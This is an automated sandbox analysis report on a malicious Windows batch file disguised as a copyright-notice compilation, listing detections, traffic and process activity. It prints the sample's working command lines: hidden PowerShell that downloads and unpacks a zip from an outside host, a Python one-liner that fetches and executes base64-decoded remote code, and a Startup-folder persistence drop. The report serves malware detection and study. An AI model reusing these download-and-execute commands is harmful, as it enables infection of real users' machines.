Windows Analysis Report
Compilation of videos and images protected by copyright.bat

Overview

General Information

Sample name: Compilation of videos and images protected by copyright.bat
Analysis ID: 1562593
MD5: 8cc94be881bdb0509f9ad3aa484c4657
SHA1: 5fc0b1d0459ce0e2413a1a6e983baa91e47c3c37
SHA256: d0410dbde18fdba59bd49180680c75784b495d8699ae47675a9a93904e7041ec
Tags: batCompilazioneprotetticopyrightuser-JAMESWT_MHT
Infos:

Detection

Score: 92
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Sigma detected: Drops script at startup location
Yara detected Powershell download and execute
AI detected suspicious sample
Drops script or batch files to the startup folder
Sigma detected: PowerShell DownloadFile
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: https://tvdseo.com Avira URL Cloud: Label: phishing
Source: http://tvdseo.com Avira URL Cloud: Label: phishing
Source: https://tvdseo.com/file/synaptics.zip Avira URL Cloud: Label: phishing
Source: https://tvdseo.com/file/STC/STC_BOT Avira URL Cloud: Label: phishing
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 98.0% probability
Source: unknown HTTPS traffic detected: 104.21.81.137:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: Binary string: omation.pdb1 source: powershell.exe, 0000000A.00000002.1418268767.000001C9DF32A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF033000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Management.Automation.pdbz source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF0C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Management.Automation.resources.pdb1c source: powershell.exe, 0000000A.00000002.1418268767.000001C9DF32A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: omation.pdbpdbion. source: powershell.exe, 0000000A.00000002.1418268767.000001C9DF32A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ows\dll\System.pdb source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF0C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000A.00000002.1418268767.000001C9DF32A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Core.pdb source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF0C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF033000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF0C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ws\dll\System.pdb source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF0C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdbe source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF0C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbelinJe source: powershell.exe, 0000000A.00000002.1418268767.000001C9DF32A000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Roaming\ Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\ Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\ Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\ Jump to behavior
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /file/synaptics.zip HTTP/1.1Host: tvdseo.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 104.21.81.137 104.21.81.137
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /file/synaptics.zip HTTP/1.1Host: tvdseo.comConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: tvdseo.com
Source: powershell.exe, 0000000A.00000002.1418268767.000001C9DF32A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.micros
Source: powershell.exe, 0000000A.00000002.1414558288.000001C9D7157000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1414558288.000001C9D7015000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1400252693.000001C9C8951000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.1400252693.000001C9C71D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1417247165.000001C9DEFF2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000A.00000002.1400252693.000001C9C6FA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.1400252693.000001C9C85C9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tvdseo.com
Source: powershell.exe, 0000000A.00000002.1400252693.000001C9C71D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1417247165.000001C9DEFF2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000A.00000002.1400252693.000001C9C6FA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000A.00000002.1400252693.000001C9C8951000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.1400252693.000001C9C8951000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.1400252693.000001C9C8951000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.1400252693.000001C9C71D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1417247165.000001C9DEFF2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000002.1400252693.000001C9C7BD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000A.00000002.1414558288.000001C9D7157000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1414558288.000001C9D7015000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1400252693.000001C9C8951000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000A.00000002.1400252693.000001C9C7BD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tvdseo.com
Source: WindowsSecurity.bat.1.dr String found in binary or memory: https://tvdseo.com/file/STC/STC_BOT
Source: powershell.exe, 0000000A.00000002.1399287200.000001C9C50E7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1400252693.000001C9C85EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tvdseo.com/file/synaptics.zip
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown HTTPS traffic detected: 104.21.81.137:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: classification engine Classification label: mal92.expl.evad.winBAT@12/8@1/1
Source: C:\Windows\System32\cmd.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.bat Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:424:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7832:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_enmtd0fl.ei4.ps1 Jump to behavior
Source: unknown Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Compilation of videos and images protected by copyright.bat" "
Source: C:\Windows\System32\cmd.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\chcp.com Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Compilation of videos and images protected by copyright.bat" "
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/file/synaptics.zip', 'C:\Users\Public\UI4yoSvOgB.zip')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -c Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/UI4yoSvOgB.zip', 'C:/Users/Public/UI4yoSvOgB')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" /min C:\Users\Public\UI4yoSvOgB\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://tvdseo.com/file/STC/STC_BOT').read().decode('utf-8')))"
Source: unknown Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.bat" "
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/file/synaptics.zip', 'C:\Users\Public\UI4yoSvOgB.zip') Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -c Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/UI4yoSvOgB.zip', 'C:/Users/Public/UI4yoSvOgB') Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" /min C:\Users\Public\UI4yoSvOgB\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://tvdseo.com/file/STC/STC_BOT').read().decode('utf-8')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\System32\chcp.com Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\System32\chcp.com Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: ndfapi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wdi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: duser.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: dlnashext.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wpdshext.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: ndfapi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wdi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: duser.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Automated click: OK
Source: C:\Windows\System32\cmd.exe Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: omation.pdb1 source: powershell.exe, 0000000A.00000002.1418268767.000001C9DF32A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF033000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Management.Automation.pdbz source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF0C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Management.Automation.resources.pdb1c source: powershell.exe, 0000000A.00000002.1418268767.000001C9DF32A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: omation.pdbpdbion. source: powershell.exe, 0000000A.00000002.1418268767.000001C9DF32A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ows\dll\System.pdb source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF0C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000A.00000002.1418268767.000001C9DF32A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Core.pdb source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF0C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF033000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF0C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ws\dll\System.pdb source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF0C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdbe source: powershell.exe, 0000000A.00000002.1417247165.000001C9DF0C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbelinJe source: powershell.exe, 0000000A.00000002.1418268767.000001C9DF32A000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/file/synaptics.zip', 'C:\Users\Public\UI4yoSvOgB.zip')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -c Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/UI4yoSvOgB.zip', 'C:/Users/Public/UI4yoSvOgB')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/file/synaptics.zip', 'C:\Users\Public\UI4yoSvOgB.zip') Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -c Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/UI4yoSvOgB.zip', 'C:/Users/Public/UI4yoSvOgB') Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFAAC5200BD pushad ; iretd 10_2_00007FFAAC5200C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFAAC527057 push esp; retf 10_2_00007FFAAC527058

Persistence and Installation Behavior
barindex
Tries to download and execute files (via powershell)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/file/synaptics.zip', 'C:\Users\Public\UI4yoSvOgB.zip')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/file/synaptics.zip', 'C:\Users\Public\UI4yoSvOgB.zip') Jump to behavior

Boot Survival
barindex
Drops script or batch files to the startup folder
Source: C:\Windows\System32\cmd.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.bat Jump to dropped file
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Windows\System32\cmd.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.bat Jump to behavior
Stores files to the Windows start menu directory
